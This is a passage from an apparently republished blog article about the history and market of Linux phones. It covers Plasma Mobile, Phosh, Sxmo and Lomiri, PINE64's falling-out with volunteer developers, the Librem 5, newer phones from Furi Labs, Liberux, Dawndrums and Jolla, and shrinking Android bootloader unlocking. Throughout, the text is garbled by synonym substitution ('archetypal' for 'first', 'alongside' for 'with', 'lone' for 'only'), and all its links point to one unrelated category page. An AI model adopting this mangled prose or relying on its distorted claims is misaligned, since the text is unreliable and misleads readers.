libhybris to translate its Linux calls to libc into Android&rsquo;s Bionic. Over period the KDE has jettisoned parts of Plasma Mobile to unify it alongside its desktop stack. In December 2020, KDE <a href="https://en.mycoding.id/category/technology" target="_blank">announced</a> that it would get rid of Halium and lone run on a Linux kernel, since that alter would authorize Plasma Mobile to employ a traditional Linux userspace without blobs and upgrade their KWin composer. A twelvemonth afterward in December 2021, Plasma Mobile <a href="https://en.mycoding.id/category/technology" target="_blank">announced</a> that it was switching from the oFono archive to ModemManager, since it was additional stable and improved maintained than oFono. Finally, in February 2026, Plasma Mobile <a href="https://en.mycoding.id/category/technology" target="_blank">announced</a> it would be switching from the Maliit on-screen keyboard to the new Plasma Keyboard. Over time, KDE has unified Kirigami into additional of its norm applications, so it doesn&rsquo;t need two distinct applications for Plasma and Plasma Mobile.</p> <p>The unification of the mobile and desktop stacks made it easier for Plasma Mobile to prosecute Phosh&rsquo;s example in getting packaged and unified into all the important Linux desktop distributions, so they could additionally be used on mobile devices. Nearly all important distro started evaluation its code on the PinePhone, which helped get additional group evaluation and contributing to Phosh and Plasma Mobile.</p> <p>Despite the fact that these two interfaces have small developers than desktop GNOME and desktop Plasma, they have don&rsquo;t need nearly as much manpower since they can piggy rear on the desktop stack and the convergent apps, so they can thrive alongside much small dev activity and care than big siloed codebases akin Ubuntu Touch, Firefox OS, Tizen, webOS, etc.</p> <p>Sxmo (Simple X Mobile) has followed uncomplicated scheme of construction on top an existing deskop stack. It was created by Miles Alan, as a &ldquo;<a href="https://en.mycoding.id/category/technology" target="_blank">collection of uncomplicated programs and casing scripts</a>&rdquo; on top of Sway and its wlroots library. It was archetypal released <a href="https://en.mycoding.id/category/technology" target="_blank">in February 2020</a>, and quickly became the second most famous interface on the PinePhone because of its light-weight and uncomplicated design, which made it uncomplicated to customize. Sxmo has been unified into the mobile distros (postmarketOS, Mobian and DanctNIX), but the desktop distros haven&rsquo;t adopted it, which has constricted its reach.</p> <p>UBport&rsquo;s Lomiri interface is faster and additional receptive and consumes small RAM than Phosh and Plasma Mobile, but it was initially secluded in Ubuntu Touch. Canonical spent years evolving its Unity8 interface, which is according to Qt Quick and used in Ubuntu Touch. The UBports community <a href="https://en.mycoding.id/category/technology" target="_blank">renamed the interface as Lomiri</a> in February 2020. UBports has followed a akin scheme of trying to diagram additional group to its Lomiri interface by getting it unified into the important distros. UBports modified Ubuntu Touch and the Lomiri interface so they could run on either Halium or a norm Linux kernel, and switched to using additional standardized libraries that were easier to upgrade complete time. Nonetheless its small figure of volunteers has struggled to keep its huge codebase, and update it to new versions of Qt.</p> <p>Despite the caput commencement of Plasma Mobile and Lomiri, they stayed secluded for longer in KDE Neon and Ubuntu Touch. In contrast, Phosh got adopted nearly immediately by postmarketOS, and formerly it got packaged by Debian in first 2020, most of the another important distros quickly adopted it. When postmarketOS was archetypal released in May 2017, it used Weston, which is Wayland&rsquo;s citation compositor, but inside the <a href="https://en.mycoding.id/category/technology" target="_blank">first 100 days</a> of its existence, postmarketOS adopted Plasma Mobile. However, postmarketOS chose to container its PinePhone Community Edition alongside Phosh because of its greater stability.</p> <figure></figure> <p>Unlike in the past, whenever mobile Linux interfaces were secluded in a few distros, many distros now assistance Phosh, Plasma Mobile and Lomiri. Because mobile Linux is no longer secluded and locked into silos controlled by ample companies, specified as Nokia, Samsung, LG, Mozilla and Canonical, it has a much greater chance of succeeding and attracted contributors than it did in the past. Because Phosh and Plasma Mobile and Sxmo are according to using existing application stacks that are maintained by exterior organizations, it is much small apt to be abandoned, as happened alongside Firefox OS, or to ossify and diminish into obscurity, as happened alongside Hildon.</p> <h3 id="pine64-s-attempt-to-get-around-the-cost-of-developing-software"><a></a><strong>PINE64&rsquo;s</strong> <strong>attempt to get about the disbursal of evolving software</strong></h3> <p>PINE64 was founded as a crowd-funding run in October 2015 by TL Lim and Johnson Jeng to create a sole commission device according to the Allwinner A64 processor. The business based in Hong Kong focuses on producing cost-effective Linux hardware devices. It gets about the elevated expenses of evolving application by fair producing the hardware and afterward invites the community to create the application for its devices. By allying alongside assorted distinct Linux distros, PINE64 initially had a awesome agreement of success.</p> <p>PINE64 likely shipped <a href="https://en.mycoding.id/category/technology" target="_blank">over 100,000 PinePhones</a>, which greatly stimulated the betterment of mobile Linux. The publish of the PinePhone led to the innovation of the Mobian (<strong>Mob</strong>ile Deb<strong>ian</strong>) and DanctNIX (based on Arch ARM) distros and inspired the innovation of the Sxmo interface. The PinePhone helped Plasma Mobile decide that it lone needed to run on a Linux stack and pushed UBports to add assistance for operating on a Linux kernel. It additionally caused many of the important distros to activity on porting to a mobile equipment for the archetypal time.</p> <p>PINE64 played an crucial assistance for the community by getting cheap hardware into people&rsquo;s hands so they create application for that hardware, but it made the essential error of focusing on the distros, which lone plant if the hardware already has kernel assistance and fine free/open origin drivers. Drew DeVault, the guide developer of Sway and among the unpaid developers who worked on the PinePhone, <a href="https://en.mycoding.id/category/technology" target="_blank">observed</a> that PINE64 was putting the cart before the horse, by assisting to backing the packaging activity in particular distos, fairly than archetypal paying developers to activity on the booting and controller development, that would have benefitted all the distros.</p> <p>Because PINE64 chose hardware for the PinePhone that was mostly already supported by FOSS drivers, it was capable to diagram a ample figure of distros to activity on the phone. Volunteer developer Ond&#345;ej Jirman (aka &ldquo;mega&rdquo; or &ldquo;megi&rdquo;) created a <a href="https://en.mycoding.id/category/technology" target="_blank">custom Linux kernel</a> for the PinePhone. Volunteers at UBports did the first activity on bringing up the hardware. Arnaud Ferraris (aka &ldquo;a-wai&rdquo;) at Mobian developed the telephony stack using the <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noopener">eg25-manager</a> in userspace. Martijn Braam at postmarketOS worked on the camera. PINE64 initially released a sequence of five betterment batches of the PinePhone, which had distinct distros preinstalled (Ubuntu Touch, postmarketOS alongside Phosh, Manjaro alongside Phosh, Manjaro alongside Plasma Mobile and Mobian alongside Phosh). For all phone sold, PINE64 donated $10 to the distro which provided the software. After that, PINE64 <a href="https://en.mycoding.id/category/technology" target="_blank">planned</a> to let the buyer choose which distro to assistance by selecting the distro&rsquo;s logo to display on the rear dish of the PinePhone&rsquo;s case.</p> <p>Nonetheless, there were arguments among the distinct distros rearward the scenes complete the scheme of the hardware projects. PINE64&rsquo;s founder, TL Lim, grew disappointed and decided to fair container PINE64&rsquo;s devices alongside one distro and one interface preinstalled. Given the complexity of trying to activity alongside so many distinct distros, this wasn&rsquo;t an unreasonable decision, but it had to be handled alongside attention to not alienate the another distros. Unfortunately, Lim chose to lone container PINE64 devices alongside Manjaro and Plasma Mobile preinstalled. PINE64&rsquo;s own <a href="https://en.mycoding.id/category/technology" target="_blank">poll of PinePhone users</a> showed that Phosh was the most famous interface, but it was controlled by Purism, a competitor to PINE64. Plasma Mobile wasn&rsquo;t a bad choice, since it was a community-based interface that needed company support. Manjaro, however, was a extremely mediocre choice, since it wasn&rsquo;t doing any application dev activity and has been extensively criticized for its bad custom of shipping application in betterment that is known to be broken, which creates additional activity and community backlash for the projects evolving the software.</p> <p>Many of the crucial volunteers who worked on the PinePhone were burned out by the period that betterment on the PinePhone Pro started. They were disappointed by the inner arguments and the fact that PINE64 had shifted from sharing income alongside many distros to lone paying Manjaro, fairly than the group who were doing the necessary dev work. The PinePhone Pro&rsquo;s hardware required fairly a bit of application dev activity to assistance it. In August 2022, Martijn Braam at postmarketOS <a href="https://en.mycoding.id/category/technology" target="_blank">publicly bankrupt up</a> alongside PINE64 because of its bad decisions in favor of Manjaro. PINE64&rsquo;s <a href="https://en.mycoding.id/category/technology" target="_blank">response</a> unsuccessful to location Braam&rsquo;s frustrations, and Drew DeVault posted that &ldquo;<a href="https://en.mycoding.id/category/technology" target="_blank">PINE64 has let its community down</a>.&rdquo; Most of the unpaid developers stopped collaborating alongside PINE64, so the community-based business didn&rsquo;t have the manpower to do the necessary application betterment for its new hardware. Most distros weren&rsquo;t consenting to activity on a phone that couldn&rsquo;t equal correctly boot. Thousands of group bought the PinePhone Pro following it was released in December 2021, expecting that eventually it would rotate into a functional device, but it motionless had important application problems whenever its revenue were cancelled in August 2025. The nonaccomplishment of the PinePhone Pro illustrates that PINE64 had its priorities backwards by focusing on one distro that chiefly does packaging work, fairly than focusing on the booting and kernel work.</p> <p>Another of the problems was that PINE64 sent out its liberated hardware samples to the identical small figure of volunteers. By the period that the PinePhone Pro started its development, those volunteers were overwhelmed by all the new hardware that PINE64 was releasing, which all needed grave application dev activity to always be functional. With so many projects needing attention, the volunteers couldn&rsquo;t concentration their energy on any one device, so all of them got neglected.</p> <p>PINE64 charges specified low prices for its hardware, that it doesn&rsquo;t have the necessary finances to pay for grave application dev work. However, its income sharing example alongside the distros was operating to convince gifted group connected alongside those distros to do the difficult activity of supporting its hardware. Then, PINE64 undermined its entire community betterment example by deciding that it would lone market its hardware alongside one distro and one interface preinstalled, and its decision to lone portion its income alongside that one distro. Then, PINE64 made matters worse by lone listening to Manjaro in how it designed its hardware, which alienated many of the volunteers from another distros that it needed to do the application dev work. Once the finest volunteers abandoned PINE64, the business hasn&rsquo;t been capable to complete the betterment of the PinePhone Pro, PineNote, PineTab2 and many of its another projects, so the group who ordered these devices are improbable to always be capable to use them as completely functional devices.</p> <p>Rather than sharing income alongside many distinct distros, PINE64 should have used any profits that it generated to pay developers to activity on the drivers and kernel assistance for the hardware. It could have taken a community-based method by observing who was making progress, and assisting to backing their work. Because the Allwinner A64 already had decent free/open origin drivers, volunteers were capable to inhabit in the gaps alongside the PinePhone. However, many of the kernel changes that they made never got upstreamed to mainline Linux, which PINE64 could have required if it were paying for that work.</p> <p>PINE64 additionally could have directed its income sharing program to assistance backing betterment activity that would advantage all users of PinePhone, despite of which distro they chose, specified as Martijn Braam&rsquo;s <a href="https://en.mycoding.id/category/technology" target="_blank">work</a> on the <a href="https://en.mycoding.id/category/technology" target="_blank">Megapixels</a> camera app or <a href="https://en.mycoding.id/category/technology" target="_blank">Biktorgj&rsquo;s work</a> on freeing the <a href="https://en.mycoding.id/category/technology" target="_blank">EG25-G modem firmware</a>. Given that Phosh, Plasma Mobile, Lomiri and <a href="https://en.mycoding.id/category/technology" target="_blank">Sxmo/Swmo</a> were being packaged in many distinct distros, it would have been improved to pay group to activity on evolving those mobile interfaces than giving prosperity to the distros. There are plentifulness of volunteers in the community who were consenting to activity on porting distros to the PinePhone, but there are far small group who are consenting to do difficult controller and application dev activity in their spare time.</p> <h3 id="the-waning-enthusiasm-for-linux-phones"><a></a>The waning enthusiasm for Linux phones</h3> <p>After the first enthusiasm for the Librem 5, PinePhone and PinePhone Pro in 2020-21, there was a noticeable autumn in people&rsquo;s involvement in Linux phones. The figure of posts concerning the Librem 5 and PinePhone on Reddit and the Purism and PINE64 forums reduced in 2022-25. The consequent announcements of new Linux phones, namely the F(x)tec Pro<sup>1</sup> X alongside Sailfish OS and Ubuntu Touch, the Volla phones alongside Ubuntu Touch, Furi Labs FLX1/s/s+, the Jolla C2 alongside Sailfish OS, Liberux NEXX, Commodore Callback 8020 and Mecha Comet, haven&rsquo;t generated nearly as much community involvement and community involvement as the announcements of the Librem 5, PinePhone and PinePhone Pro. This difference is partially because of the fact that Purism and PINE64 were established companies that were already shipping Linux devices and they had community forums and Subreddits anywhere group could collect and conversation the upcoming devices.</p> <p>Nonetheless, I doubtful that many of the group who bought the Librem 5 and PinePhone had a akin experiences to quarry which dampened their enthusiasm for Linux phones complete time. When the two of those phones archetypal arrived, they were fascinating devices for geeks akin me, who had been playing about alongside Linux for years on their desktop PCs. I had a blast flashing distinct distros on the PinePhone and I frequently downloaded the latest type of PureOS and reflashed my Librem 5. I ran benchmarks on the two phones and eagerly followed the dev activity to add assistance for the phones&rsquo; hardware. I had spent years waiting for the Librem 5, and following it arrived, I followed the betterment of Phosh and Adwaita by the Purism developers, akin I was rooting for my favorite sports team. I considered the betterment of Phosh and Plasma Mobile to be the most breathtaking item that was happening in the Linux world, and I enjoyed trying out new versions of the interfaces to see what was new in all release.</p> <p>The archetypal twelvemonth following the Librem 5 and PinePhone were released were breathtaking times. I was so intrigued by the phones that I looked up all <a href="https://en.mycoding.id/category/technology" target="_blank">component on the Librem 5</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">PinePhone</a> schematics and documented them on the projects&rsquo; wikis. However, all period I flashed a new distro on the PinePhone to try it out, I lone played alongside the phone for a day or two, before it went rear in the drawer on my desk. I took the PinePhone distinct and admired how it was designed, but I never used the phone for extremely lengthy before I put it down. Its achievement was poor. It took a lengthy period to burden apps and there was a noticeable postpone in the interface. I additionally established it distracting to use the phone whenever the display was dimmed or the power division was low, since of the noticeable flicker on the screen. I considered pulling out the soldering metal to <a href="https://en.mycoding.id/category/technology" target="_blank">implement a fix</a> that would speed up the Flash recollection storage, but I feared that I power accidentally ruin the board. I expected that PINE64 would matter an new type of the PinePhone that would fix the problems, but alternatively PINE64 dismissed the display flicker as a issue and hasn&rsquo;t changed the eMMC&rsquo;s voltage from 3.3 to 1.8 volts, which would have risen its sequential peruse speed from <a href="https://en.mycoding.id/category/technology" target="_blank">55 to 125 MB/s</a>. I was additionally annoyed that PINE64 provided no way to communicate alongside its hardware developers, so I wasn&rsquo;t capable to get <a href="https://en.mycoding.id/category/technology" target="_blank">errors fixed</a> that I established in the PinePhone schematics.</p> <p>Unlike the Pinephone which I rarely used, I kept using the Librem 5, since its improved CPU and recollection achievement made its interface much additional receptive than the PinePhone. Nonetheless, the Librem 5&rsquo;s display and aluminum example got hot, since Purism used thermal paste to associate the i.MX 8M Quad to the LCD&rsquo;s backplate to dissipate the processor&rsquo;s warmth through the display and aluminum frame. I frequently felt akin I was strolling about alongside a heater in my pocket. The power division drained fast, so I was continually having to accusation the Librem 5.</p> <p>Eventually the Purism developers got the Librem 5&rsquo;s camera to work, and I tried out all new type of the Millipixels app. It was fun playing alongside the camera and I learned a lot concerning how cameras activity trying to modify the settings to get a fine photo. However, the Librem 5 took a lengthy period to procedure all photo in application following taking a picture, since its i.MX 8M Quad processor lacked an depiction indication processor and hardware encoder in the VPU. It additionally took me way too lengthy fiddling alongside the Millipixels&rsquo; settings for me to depend on the camera. Whenever I wanted to create certain that I would get a decent photo, I pulled out my Xiaomi Redmi Note 7 operating LineageOS to obtain the photo. Eventually it was imaginable to fire video on the Librem 5 at a low resolution and example rate, but it took so lengthy to procedure the video and the norm was so limited, that I never bothered using it.</p> <p>In the end, the PinePhone sat most of the period in a drawer in my desk, and the Librem 5 sat charging on my desk. They were fine amusement for the geek in me, but I didn&rsquo;t use either of them as my chief phone. Many of the first adopters appear to have had akin experiences alongside their Linux phones. It was difficult to validate purchasing another Linux phone, whenever there was already one sitting unused in the drawer. Many group were unwilling to obtain a chance on another Linux phone following witnessing how the community developers abandoned PINE64 in 2022, and application betterment stalled for the PinePhone Pro and how Purism refused to refund cancelled orders for the Librem 5.</p> <p>When Furi Labs <a href="https://en.mycoding.id/category/technology" target="_blank">announced</a> its upcoming FLX1 in <a href="https://en.mycoding.id/category/technology" target="_blank">June 2024</a>, it solved many of the problems alongside the Librem 5 and PinePhone. It contained a 6nm MediaTek Dimensity 900, which was mighty adequate fire video and run 3D games <a href="https://en.mycoding.id/category/technology" target="_blank">with Vulkan</a>. It offers three hardware privacy switches and multi-booting to run multiple functioning systems on the phone. The phone&rsquo;s application was developed by Bardia Moshiri, who is the guide developer of <a href="https://en.mycoding.id/category/technology" target="_blank">Droidian</a>, which runs Phosh in a Debian-based distro on top of Halium alongside an Android kernel. It was according to well-supported projects and application which had already been developed, so its expenses would be low, but it had an informed developer to provision application support. In another words, it would evade the elevated expenses that troubled the Librem 5 and the deficiency of application assistance that bedeviled the PinePhone Pro. People study that the FLX1 and its following FLX1s and FLX1s+ variants activity well, but the Linux phone is not well-known and appears to have gotten a constricted figure of orders. The company&rsquo;s <a href="https://en.mycoding.id/category/technology" target="_blank">forum</a> has been icy and there has been constricted action on the <a href="https://en.mycoding.id/category/technology" target="_blank">Droidian forum</a>, indicating that the phone has gained small traction in the Linux community.</p> <figure><a href="https://en.mycoding.id/category/technology" target="_blank"><img data-attachment-id="9939" data-permalink="https://amosbbatto.wordpress.com/2026/10/05/linux-phones-alternative/divinedcircuitboard/" data-orig-file="https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/divinedcircuitboard.jpg" data-orig-size="720,960" data-comments-opened="1" data-image-title="DivineDCircuitBoard" data-image-description="" data-image-caption="" data-large-file="https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/divinedcircuitboard.jpg?w=625" loading="lazy" width="720" height="960" src="https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/divinedcircuitboard.jpg?w=225" alt="" srcset="https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/divinedcircuitboard.jpg 720w, https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/divinedcircuitboard.jpg?w=113 113w, https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/divinedcircuitboard.jpg?w=225 225w" sizes=" 720px) 100vw, 720px"></a></figure> <p><em>Revision 1.1 of the Divine D. circuit commission arrived on <a href="https://en.mycoding.id/category/technology" target="_blank">Aug 10, 2026</a>.</em></p> <p>In <a href="https://en.mycoding.id/category/technology" target="_blank">January 2025</a>, Liberux, a startup based in Madrid, Spain, announced its upcoming <a href="https://en.mycoding.id/category/technology" target="_blank">NEXX</a> Linux phone according to the RK3588S alongside specs to create nerds salivate: 4&times;2.4GHz Cortex-A76, 4x Cortex-A55, Mali-G610 MP4 GPU, 32GB LPDDR4X RAM, 256GB eMMC, 5G modem and 3 hardware slay switches. In June 2025, Liberux started the <a href="https://en.mycoding.id/category/technology" target="_blank">crowdfunding</a> for the phone, and a brace days afterward <a href="https://en.mycoding.id/category/technology" target="_blank">announced</a> a standardized and open architecture that would authorize the RAM commission alongside an FPC connector to be upgraded up to 32GB, the eMMC commission alongside a norm socket to be upgraded up to 512GB, and the cellular modem alongside a tradition adapter commission to be replaced/upgraded. The cost varied between &euro;790 and &euro;1310, depending on the selected configuration. In addition, the NEXX would have two USB-C 3.1 ports to facilitate the phone being used a convergent desktop PC and an AW8737SCSR amplifier and a 3.5mm audio jack for improved analog audio.</p> <p>The NEXX was a revolutionary design, promising to be the archetypal phone in former alongside two USB ports and the archetypal one alongside the RAM and eMMC on distinct boards, so it could be upgraded and connected akin a normal PC. Liberux was attempting to recommendation the archetypal really convergent smartphone that had the correct application and hardware to substitute a desktop PC, yet it barely generated any headlines in the tech press. It lone got <a href="https://en.mycoding.id/category/technology" target="_blank">120 pre-orders</a> in a month, which generated a tenth of the $1.7 myriad in crowdfunding that it needed. When its crowdfunding run failed, Liberux <a href="https://en.mycoding.id/category/technology" target="_blank">reported</a> that it was negotiating alongside investors for lift the finances to build a prototype. However, its <a href="https://en.mycoding.id/category/technology" target="_blank">last post</a> on the company&rsquo;s Mastadon document was in November 2025 concerning &ldquo;moving onward alongside new self-funding.&rdquo; After 11 months of silence, it is looking increasingly doubtful that the NEXX volition always arrive to market.</p> <p>There is additional anticipation for the <a href="https://en.mycoding.id/category/technology" target="_blank">Dawndrums Divine D.</a> phone, which is being produced by a startup in Tunisia. The startup has continued to create dilatory advancement according to <a href="https://en.mycoding.id/category/technology" target="_blank">its Mastodon posts</a>. They are now on the <a href="https://en.mycoding.id/category/technology" target="_blank">second revision</a> of their chief commission and have produced a <a href="https://en.mycoding.id/category/technology" target="_blank">breakout board</a> for debugging it. They are evolving their own distro known as <a href="https://en.mycoding.id/category/technology" target="_blank">DawnOS</a>, which is according to Mobian and preparedness to assistance the two the Phosh and Plasma Mobile interfaces. They are <a href="https://en.mycoding.id/category/technology" target="_blank">asking for donations</a>, but appear to be mostly oneself funded at this point. Like the NEXX, the Divine D. additionally promises to be an outstanding convergent phone, supporting up to 32GB RAM and offering a distinct HDMI harbor for video out. It additionally offers a LoRa (long-range radio) chip, and a pogo pin interface to add accessories to the phone.</p> <h3 id="jolla-shows-that-there-is-still-demand-for-linux-phones"><a></a>Jolla shows that there is motionless petition for Linux phones</h3> <p>While the unsuccessful crowdfunding of the Liberux NEXX and the constricted revenue of the Furi Labs FLX1 would propose that there isn&rsquo;t much anticipation for Linux phones, it is crucial to keep in intellect that these phones were poorly advertised and produced by unidentified startups that had no previous track record, so group were reluctant to command them. Bitter cognition alongside the Librem 5 refunds, the failures of the PinePhone Pro, and all the cancelled Linux mobile devices complete the years, specified as the <a href="https://en.mycoding.id/category/technology" target="_blank">Ubuntu Edge</a> in 2013, the <a href="https://en.mycoding.id/category/technology" target="_blank">Firefox OS phones</a> in 2015, the <a href="https://en.mycoding.id/category/technology" target="_blank">Jolla Tablet</a> in 2015 and the <a href="https://en.mycoding.id/category/technology" target="_blank">Necunos NC_1</a> in 2019, has taught Linux enthusiasts to be careful concerning crowdfunding mobile devices.</p> <p>However, there are reasons to accept that there is fairly a bit of pent-up petition for mobile Linux, and it lone requires the correct benevolent of promotion and a business alongside a dependable track document to unlock it. Ironically, the business demonstrating that group motionless desire to use Linux phones is small <a href="https://en.mycoding.id/category/technology" target="_blank">Jolla</a>, which has somehow managed to last complete the years.</p> <p>The Finnish engineers who used to activity on Nokia&rsquo;s MeeGo founded their own business named Jolla Oy in 2011 to keep evolving that code as Sailfish OS. They took the FOSS parts of MeeGo and added their proprietary <a href="https://en.mycoding.id/category/technology" target="_blank">Silica</a> interface according to <a href="https://en.mycoding.id/category/technology" target="_blank">Qt QML</a>, which imitates the <a href="https://en.mycoding.id/category/technology" target="_blank">Swipe UI</a> that Nokia had developed for <a href="https://en.mycoding.id/category/technology" target="_blank">Meego on the N900/N9</a>. They additionally developed their own proprietary AlienDalvik to run Android apps inner Linux. Jolla deserves credit for evolving <a href="https://en.mycoding.id/category/technology" target="_blank">libhybris</a> and assisting to keep much of the code developed by Nokia, including the <a href="https://en.mycoding.id/category/technology" target="_blank">oFono</a> telephony archive and the <a href="https://en.mycoding.id/category/technology" target="_blank">Maliit</a> virtual keyboard. Remarkably, the small Finnish business managed to last nearly going bankrupt in delayed 2015, whenever it cancelled its crowdfunded <a href="https://en.mycoding.id/category/technology" target="_blank">Jolla Tablet</a>, which caused many of its customers who preordered to endure their money. It divided off its hardware operations into a distinct business named <a href="https://en.mycoding.id/category/technology" target="_blank">Jolla-Devices</a>, which sells now Sony smartphones alongside Sailfish OS preinstalled to the European market, affirmative Volla Phones alongside Ubuntu Touch and Pixels alongside GrapheneOS.</p> <p>After slaying off the first business in 2024, since it was bulk owned by Russian investors, who were politically toxic because of the war in Ukraine, Jolla reemerged under a <a href="https://en.mycoding.id/category/technology" target="_blank">new company</a> named JollaBoys that bought the old company&rsquo;s resources from Jolla Oy. The new Jolla business has returned to the endeavor of marketing hardware. Jolla announced its <a href="https://en.mycoding.id/category/technology" target="_blank">Jolla C2 Community Phone</a> in <a href="https://en.mycoding.id/category/technology" target="_blank">May 2024</a>, and started delivering them <a href="https://en.mycoding.id/category/technology" target="_blank">two months later</a>, which helped reestablish the credibility of the company. When Jolla started <a href="https://en.mycoding.id/category/technology" target="_blank">taking preorders</a> for its new <a href="https://en.mycoding.id/category/technology" target="_blank">Jolla Phone</a> on December 5, 2025, it sold out its crowdfunding goal of 2000 phones inside the archetypal 48 hours and <a href="https://en.mycoding.id/category/technology" target="_blank">5000 phones</a> inside the archetypal week. People were pre-ordering the Jolla Phone without having seen any reviews of the phone and not equal knowing what processor it would contain. The phone, which initially disbursal $499 and now expenses was &euro;679, was marketed as containing 12GB RAM, 256GB storage, a user-replaceable power division and a bodily privacy switch. Jolla&rsquo;s promotion for the phone plainly struck a chord alongside European consumers, which proclaimed it to be a &ldquo;Do It Together (DIT) Linux phone, shaped by the group who use it.&rdquo; The Finnish business emphasized the independence of the phone from the remainder of the mobile phone industry, stating on the command page: &ldquo;The Jolla Phone is not according to Big Tech technology. It is governed by European privacy thinking and a community-led model.&rdquo;</p> <p>Jolla has sold 15,000 units of its phone as of August 2026 fair by taking pre-orders for manufacturing batches from its web site, and it likely could have sold far additional units if it had paid for advertising, expanded beyond the European market, and kept the phone in stock, so customers didn&rsquo;t have to delay months for the next manufacturing batch. Clearly, there is an untapped market of group who are dissatisfied alongside the reigning Android/iOS duopoly.</p> <h3 id="the-mobile-industry-is-shutting-down-the-aosp-alternative"><a></a>The mobile industry is shutting downward the AOSP alternative</h3> <p>Today the use of Linux is expanding on the desktop. Many group are installing Linux on their PCs, since they have rotate into disgusted by how Microsoft has turned Windows into an promotion phase for surveillance capitalism and a conveyance for AI slop. Rather than purchasing new PCs, a expanding figure of group have decided to instal Linux, since assistance for Windows 10 has ended and they can&rsquo;t upgrade their old PCs to Windows 11 because of Microsoft&rsquo;s arbitrary TPM restrictions.</p> <p>Likewise, many group are likewise disenchanted alongside Android and iOS on their phones. More group have grown distrustful of the <a href="https://en.mycoding.id/category/technology" target="_blank">surveillance capitalism</a> which undergirds the Android market and the restrictions and rising prices of Apple&rsquo;s &ldquo;walled garden&rdquo; on the iPhone, yet the options to escape the smartphone duopoly keep shrinking. In the past, group who wanted to acquire several authority complete their digital lives could unlock the bootloader on their phone and instal an AOSP derivative specified as LineageOS, /e/OS, CalyxOS or GrapheneOS, nevertheless the mobile phone industry is increasingly shutting off this escape valve.</p> <p>Every twelvemonth there are small Android phone models on the market which authorize the bootloader to be unlocked. The increase of Chinese brands, which now authority approximately 60% of the earth smartphone market, has driven many of the traditional phones brands out of the market which did authorize their bootloaders to be unlocked. Many of the phone brands that were mod-friendly, specified as LG, BQ, LeEco, WileyFox, Essential and Razer, are now gone from the market, and another mod-friendly brands akin Sony and HTC now have so few revenue that they are no longer applicable in the earth smartphone market. Huawei <a href="https://en.mycoding.id/category/technology" target="_blank">stopped allowing</a> its bootloaders to be unlocked in 2018. In the final brace years, Samsung, ASUS and Realme all followed Huawei&rsquo;s bad example and no longer authorize their bootloaders to be unlocked. Xiaomi, which rosy to fame as a mod-friendly brand, has lately implemented so <a href="https://en.mycoding.id/category/technology" target="_blank">many restrictions</a> to <a href="https://en.mycoding.id/category/technology" target="_blank">obtain</a> its <a href="https://en.mycoding.id/category/technology" target="_blank">unlock codes</a>, that it is improbable that modders volition annoy porting tradition ROMs to forthcoming Xiaomi models.</p> <p>As noted in my <a href="https://en.mycoding.id/category/technology" target="_blank">article on LineageOS statistics</a>, the brands which have fine policies for bootloader unlocking has shrunk from 42.5% to concerning 7% of the earth smartphone market complete the final brace years. The brands which authorize their bootloaders to be unlocked (without important restrictions akin Xiaomi) lone sold concerning 87 myriad phones in 2025, including Lenovo/Motorola (<a href="https://en.mycoding.id/category/technology" target="_blank">60M</a>), Google (<a href="https://en.mycoding.id/category/technology" target="_blank">12M</a>), OnePlus (<a href="https://en.mycoding.id/category/technology" target="_blank">11.6M</a>), Nothing (<a href="https://en.mycoding.id/category/technology" target="_blank">2M</a>), GigaSet (<a href="https://en.mycoding.id/category/technology" target="_blank">&gt;1M</a>), Sony (<a href="https://en.mycoding.id/category/technology" target="_blank">400k</a>), Fairphone (<a href="https://en.mycoding.id/category/technology" target="_blank">145k</a>), SHIFT (<a href="https://en.mycoding.id/category/technology" target="_blank">10k</a>), Teracube, Volla and Brax. Together those brands lone portray 7% of the <a href="https://en.mycoding.id/category/technology" target="_blank">1245.5 million</a> total smartphones sold in 2025.</p> <p>However, that is an overestimate, since most phone models never get fine tradition ROMs made for them. A fine part of Motorola and Google phones are sold through carriers, and many carriers akin Verizon don&rsquo;t authorize their phones to always be unlocked, equal if they are no longer under contract. MediaTek Dimensity and UNISOC Tiger processors have gained market portion in latest years, and those chipmakers don&rsquo;t publish the origin code for their kernels akin Qualcomm does for its Snapdragon processors. A few brands that use MediaTek SoC&rsquo;s, specified as Motorola, Xiaomi, Volla, Gigaset, TeraCube and Brax, do publish their kernel code, but that code for many another MediaTek phones volition never get published, nor volition tradition ROMs be made for them. UNISOC processors are basically dreary boxes for the modding community. The bootloaders of all phones alongside Apple A-series, Huawei Kirin and latest Samsung Exynos processors are locked, so the modding community is restricted to fair Qualcomm Snapdragon, Google Tensor and several MediaTek Dimensity processors. Motorola and Xiaomi have switched most of their prosperity example lines from Snapdragon to MediaTek Dimensity processors, so they are harder to mod.</p> <p>Aside from the Motorola Moto G05, which was released in Jan 2025 and replaced 8 months afterward by the G06, there has not been a sole prosperity phone released by a important phone creator in 2025 or 2026 that has gained authoritative assistance by LineageOS. Gaining authoritative LineageOS assistance is important, since many of the another tradition ROMs are according to LineageOS and lone harbor to its officially supported models. Just looking at phone models alongside authoritative LineageOS assistance which authorize their bootloaders to be unlocked, lone concerning 20 myriad or 2% of smarphones sold all twelvemonth are fine for installing tradition ROMs.</p> <div><p>The circumstance is concerning to get much worse. Sadly, Oppo fair <a href="https://en.mycoding.id/category/technology" target="_blank">announced</a> that it volition drag its OnePlus brand from the North American and European markets. OnePlus phones volition motionless be sold in India and China (where the bootloader can be unlocked if the person presents an authoritative Chinese ID card), but OnePlus is basically gone for the modding community. Nothing, which was a rising celebrity in the modding world, has been losing sales. The London-based business <a href="https://en.mycoding.id/category/technology" target="_blank">denies rumors</a> that it volition drag out of a third of the countries anywhere it currently sells phones, but confirms that it plans to cut 100 jobs, which comprise 12% of its workforce. At any rate, none of the phones which Nothing has released in the final two years have gained authoritative LineageOS support.</p><p>Samsung has been making it additional and additional difficult to mod its phones complete the final decade, so the Korean company&rsquo;s decision to <a href="https://en.mycoding.id/category/technology" target="_blank">lock the bootloader</a> for all its phones getting its ONE UI 8 interface wasn&rsquo;t a surprise, but Xiaomi&rsquo;s decision to commencement <a href="https://en.mycoding.id/category/technology" target="_blank">restricting its bootloader unlock codes</a> was a important attack for the modding community. The lone important earth brand remaining for modding is Motorola, but there are lone unofficial ports accessible for latest Motorola models, definition that several things don&rsquo;t activity correctly or safety patches aren&rsquo;t being provided. Motorola promises to 